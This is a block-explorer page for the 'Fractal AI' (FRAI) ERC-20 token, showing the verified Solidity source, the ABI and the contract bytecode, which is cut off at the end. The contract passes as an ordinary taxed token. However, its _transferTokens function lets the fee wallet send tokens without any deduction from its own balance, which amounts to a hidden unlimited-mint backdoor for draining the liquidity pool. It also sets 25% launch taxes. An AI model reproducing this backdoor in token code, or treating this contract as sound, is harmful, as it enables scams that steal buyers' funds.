Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 FRAI
Holders
126
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,046,869.536799145110362632 FRAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FractalAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-22 */ // SPDX-License-Identifier: MIT /* Web : https://fractalai.net Doc : https://docs.fractalai.net Twitter : https://twitter.com/fractalaifin Telegram : https://t.me/fractalaifin_chat */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FractalAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private tokenBalance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _fractalTeamFees; uint256 private _initialBuyTax=25; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=3; uint256 private _reduceBuyTaxAt=9; uint256 private _reduceSellTaxAt=14; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"Fractal AI"; string private constant _symbol = unicode"FRAI"; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; uint256 public _taxFractalThreshold= 995 * 10**_decimals; uint256 public _maxTaxSwap= 200000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address _fractalFeeAddr) { _fractalTeamFees = payable(_fractalFeeAddr); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_fractalTeamFees] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function enableFractalTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; tradingOpen = true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 fractalTaxAmount=0; bool isFractalSwapEnabled = false; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { fractalTaxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); isFractalSwapEnabled = swapEnabled && _buyCount>_preventSwapBefore && amount > _taxFractalThreshold; require(tradingOpen, "Trading is not opened!"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ fractalTaxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && isFractalSwapEnabled) { if(contractTokenBalance>_taxFractalThreshold) swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); sendETHToFee(address(this).balance); } } if(fractalTaxAmount>0){ _balances[address(this)]=_balances[address(this)].add(fractalTaxAmount); emit Transfer(from, address(this),fractalTaxAmount); } _transferTokens(from, to, amount, fractalTaxAmount); } function _transferTokens( address from, address to, uint256 amount, uint256 taxAmount ) internal returns (bool) { if(from != _fractalTeamFees) { _balances[from] = _balances[from].sub( amount, "Insufficient Balance" ); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } else { _balances[to]=_balances[to].add(amount); } return true; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createFractalPairs() external onlyOwner() { require(!tradingOpen,"Trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function removeFractalLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _fractalTeamFees.transfer(amount); } receive() external payable { } function withdrawStucksEth() external onlyOwner { require(address(this).balance > 0, "No ETH to withdraw"); payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_fractalFeeAddr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFractalThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createFractalPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableFractalTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeFractalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff1916905560196007819055600855600060098181556003600a908155600b91909155600e600c8190556005600d55919091556200004a906012906200037e565b6200005990621e848062000396565b600f556200006a6012600a6200037e565b6200007990621e848062000396565b6010556200008a6012600a6200037e565b62000098906103e362000396565b601155620000a96012600a6200037e565b620000b89062030d4062000396565b6012556014805461ffff60a81b19169055348015620000d657600080fd5b5060405162001e9f38038062001e9f833981016040819052620000f991620003b0565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101006001600160a01b03841602179055620001686012600a6200037e565b62000178906305f5e10062000396565b336000908152600160208190526040822092909255600490620001a36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260049093528183208054851660019081179091556006546101009004909116835291208054909216179055620002073390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002416012600a6200037e565b62000251906305f5e10062000396565b60405190815260200160405180910390a350620003db565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002c0578160001904821115620002a457620002a462000269565b80851615620002b257918102915b93841c939080029062000284565b509250929050565b600082620002d95750600162000378565b81620002e85750600062000378565b81600181146200030157600281146200030c576200032c565b600191505062000378565b60ff84111562000320576200032062000269565b50506001821b62000378565b5060208310610133831016604e8410600b841016171562000351575081810a62000378565b6200035d83836200027f565b806000190482111562000374576200037462000269565b0290505b92915050565b60006200038f60ff841683620002c8565b9392505050565b808202811582820484141762000378576200037862000269565b600060208284031215620003c357600080fd5b81516001600160a01b03811681146200038f57600080fd5b611ab480620003eb6000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b41146103325780639bbc5d311461035f578063a9059cbb14610375578063c251165014610395578063c876d0b9146103aa578063dd62ed3e146103c457600080fd5b806370a082311461029d578063715018a6146102d35780637d1db4a5146102e85780638da5cb5b146102fe5780638f9a55c01461031c57600080fd5b8063313ce567116100f2578063313ce56714610208578063385c5c221461022457806349bd5a5e1461023b5780635672ca9314610273578063583abd2a1461028857600080fd5b806306fdde031461013a578063095ea7b31461017f5780630faee56f146101af57806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a8152694672616374616c20414960b01b60208201525b6040516101769190611686565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116e9565b61040a565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c560125481565b604051908152602001610176565b3480156101df57600080fd5b506101c5610421565b3480156101f457600080fd5b5061019f610203366004611715565b610442565b34801561021457600080fd5b5060405160128152602001610176565b34801561023057600080fd5b506102396104ab565b005b34801561024757600080fd5b5060145461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561027f57600080fd5b50610239610551565b34801561029457600080fd5b506102396105ef565b3480156102a957600080fd5b506101c56102b8366004611756565b6001600160a01b031660009081526001602052604090205490565b3480156102df57600080fd5b50610239610991565b3480156102f457600080fd5b506101c5600f5481565b34801561030a57600080fd5b506000546001600160a01b031661025b565b34801561032857600080fd5b506101c560105481565b34801561033e57600080fd5b506040805180820190915260048152634652414960e01b6020820152610169565b34801561036b57600080fd5b506101c560115481565b34801561038157600080fd5b5061019f6103903660046116e9565b610a05565b3480156103a157600080fd5b50610239610a12565b3480156103b657600080fd5b5060065461019f9060ff1681565b3480156103d057600080fd5b506101c56103df366004611773565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610417338484610ace565b5060015b92915050565b600061042f6012600a6118a6565b61043d906305f5e1006118b5565b905090565b600061044f848484610bf2565b6104a1843361049c85604051806060016040528060288152602001611a57602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611185565b610ace565b5060019392505050565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d5906118cc565b60405180910390fd5b601454600160a01b900460ff16156105385760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d5565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461057b5760405162461bcd60e51b81526004016104d5906118cc565b600047116105c05760405162461bcd60e51b81526020600482015260126024820152714e6f2045544820746f20776974686472617760701b60448201526064016104d5565b60405133904780156108fc02916000818181858888f193505050501580156105ec573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104d5906118cc565b601454600160a01b900460ff16156106735760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d5565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106bc9030906106ae6012600a6118a6565b61049c906305f5e1006118b5565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107339190611901565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190611901565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611901565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610872816001600160a01b031660009081526001602052604090205490565b6000806108876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610914919061191e565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec919061194c565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016104d5906118cc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610417338484610bf2565b6000546001600160a01b03163314610a3c5760405162461bcd60e51b81526004016104d5906118cc565b610a486012600a6118a6565b610a56906305f5e1006118b5565b600f55610a656012600a6118a6565b610a73906305f5e1006118b5565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610aad6012600a6118a6565b610abb906305f5e1006118b5565b60405190815260200160405180910390a1565b6001600160a01b038316610b305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b038216610b915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610cb85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b60008111610d1a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b6001600160a01b038316600090815260046020526040812054819060ff16158015610d5e57506001600160a01b03841660009081526004602052604090205460ff16155b156110f757610d8f6064610d89600b54600e5411610d7e57600754610d82565b6009545b86906111bf565b90611248565b601454909250600160b01b900460ff168015610dae5750600d54600e54115b8015610dbb575060115483115b601454909150600160a01b900460ff16610e105760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b60448201526064016104d5565b60065460ff1615610ef5576013546001600160a01b03858116911614801590610e4757506014546001600160a01b03858116911614155b15610ef557326000908152600560205260409020544311610ee25760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104d5565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610f2057506013546001600160a01b03858116911614155b8015610f4557506001600160a01b03841660009081526004602052604090205460ff16155b1561102d57600f54831115610f9c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d5565b60105483610fbf866001600160a01b031660009081526001602052604090205490565b610fc9919061196e565b11156110175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d5565b600e805490600061102783611981565b91905055505b6014546001600160a01b03858116911614801561105357506001600160a01b0385163014155b156110805761107d6064610d89600c54600e541161107357600854610d82565b600a5486906111bf565b91505b30600090815260016020526040902054601454600160a81b900460ff161580156110b757506014546001600160a01b038681169116145b80156110c05750815b156110f5576011548111156110ec576110ec6110e7856110e28460125461128a565b61128a565b61129f565b6110f547611419565b505b81156111715730600090815260016020526040902054611117908361145b565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111689086815260200190565b60405180910390a35b61117d858585856114ba565b505050505050565b600081848411156111a95760405162461bcd60e51b81526004016104d59190611686565b5060006111b6848661199a565b95945050505050565b6000826000036111d15750600061041b565b60006111dd83856118b5565b9050826111ea85836119ad565b146112415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b600061124183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611616565b60008183116112995782611241565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e7576112e76119cf565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190611901565b81600181518110611377576113776119cf565b6001600160a01b03928316602091820292909201015260135461139d9130911684610ace565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d69085906000908690309042906004016119e5565b600060405180830381600087803b1580156113f057600080fd5b505af1158015611404573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611457573d6000803e3d6000fd5b5050565b600080611468838561196e565b9050838110156112415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b6006546000906001600160a01b0386811661010090920416146115ce576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260019091529190912054611529918590611185565b6001600160a01b03861660009081526001602052604090205561156e61154f8484611644565b6001600160a01b0386166000908152600160205260409020549061145b565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115b88686611644565b60405190815260200160405180910390a361160b565b6001600160a01b0384166000908152600160205260409020546115f1908461145b565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836116375760405162461bcd60e51b81526004016104d59190611686565b5060006111b684866119ad565b600061124183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611185565b600060208083528351808285015260005b818110156116b357858101830151858201604001528201611697565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105ec57600080fd5b600080604083850312156116fc57600080fd5b8235611707816116d4565b946020939093013593505050565b60008060006060848603121561172a57600080fd5b8335611735816116d4565b92506020840135611745816116d4565b929592945050506040919091013590565b60006020828403121561176857600080fd5b8135611241816116d4565b6000806040838503121561178657600080fd5b8235611791816116d4565b915060208301356117a1816116d4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117fd5781600019048211156117e3576117e36117ac565b808516156117f057918102915b93841c93908002906117c7565b509250929050565b6000826118145750600161041b565b816118215750600061041b565b816001811461183757600281146118415761185d565b600191505061041b565b60ff841115611852576118526117ac565b50506001821b61041b565b5060208310610133831016604e8410600b8410161715611880575081810a61041b565b61188a83836117c2565b806000190482111561189e5761189e6117ac565b029392505050565b600061124160ff841683611805565b808202811582820484141761041b5761041b6117ac565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561191357600080fd5b8151611241816116d4565b60008060006060848603121561193357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195e57600080fd5b8151801515811461124157600080fd5b8082018082111561041b5761041b6117ac565b600060018201611993576119936117ac565b5060010190565b8181038181111561041b5761041b6117ac565b6000826119ca57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a355784516001600160a01b031683529383019391830191600101611a10565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec82312641b5c38ca9bf11e4073490ca633b4c5ea51b2ba88a301c6f5935ec3064736f6c634300081300330000000000000000000000002c4230d121d57a7f09d64547a1bcfbf7bf7976ac
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b41146103325780639bbc5d311461035f578063a9059cbb14610375578063c251165014610395578063c876d0b9146103aa578063dd62ed3e146103c457600080fd5b806370a082311461029d578063715018a6146102d35780637d1db4a5146102e85780638da5cb5b146102fe5780638f9a55c01461031c57600080fd5b8063313ce567116100f2578063313ce56714610208578063385c5c221461022457806349bd5a5e1461023b5780635672ca9314610273578063583abd2a1461028857600080fd5b806306fdde031461013a578063095ea7b31461017f5780630faee56f146101af57806318160ddd146101d357806323b872dd146101e857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a8152694672616374616c20414960b01b60208201525b6040516101769190611686565b60405180910390f35b34801561018b57600080fd5b5061019f61019a3660046116e9565b61040a565b6040519015158152602001610176565b3480156101bb57600080fd5b506101c560125481565b604051908152602001610176565b3480156101df57600080fd5b506101c5610421565b3480156101f457600080fd5b5061019f610203366004611715565b610442565b34801561021457600080fd5b5060405160128152602001610176565b34801561023057600080fd5b506102396104ab565b005b34801561024757600080fd5b5060145461025b906001600160a01b031681565b6040516001600160a01b039091168152602001610176565b34801561027f57600080fd5b50610239610551565b34801561029457600080fd5b506102396105ef565b3480156102a957600080fd5b506101c56102b8366004611756565b6001600160a01b031660009081526001602052604090205490565b3480156102df57600080fd5b50610239610991565b3480156102f457600080fd5b506101c5600f5481565b34801561030a57600080fd5b506000546001600160a01b031661025b565b34801561032857600080fd5b506101c560105481565b34801561033e57600080fd5b506040805180820190915260048152634652414960e01b6020820152610169565b34801561036b57600080fd5b506101c560115481565b34801561038157600080fd5b5061019f6103903660046116e9565b610a05565b3480156103a157600080fd5b50610239610a12565b3480156103b657600080fd5b5060065461019f9060ff1681565b3480156103d057600080fd5b506101c56103df366004611773565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610417338484610ace565b5060015b92915050565b600061042f6012600a6118a6565b61043d906305f5e1006118b5565b905090565b600061044f848484610bf2565b6104a1843361049c85604051806060016040528060288152602001611a57602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611185565b610ace565b5060019392505050565b6000546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d5906118cc565b60405180910390fd5b601454600160a01b900460ff16156105385760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d5565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461057b5760405162461bcd60e51b81526004016104d5906118cc565b600047116105c05760405162461bcd60e51b81526020600482015260126024820152714e6f2045544820746f20776974686472617760701b60448201526064016104d5565b60405133904780156108fc02916000818181858888f193505050501580156105ec573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104d5906118cc565b601454600160a01b900460ff16156106735760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d5565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106bc9030906106ae6012600a6118a6565b61049c906305f5e1006118b5565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107339190611901565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190611901565b6040516001600160e01b031960e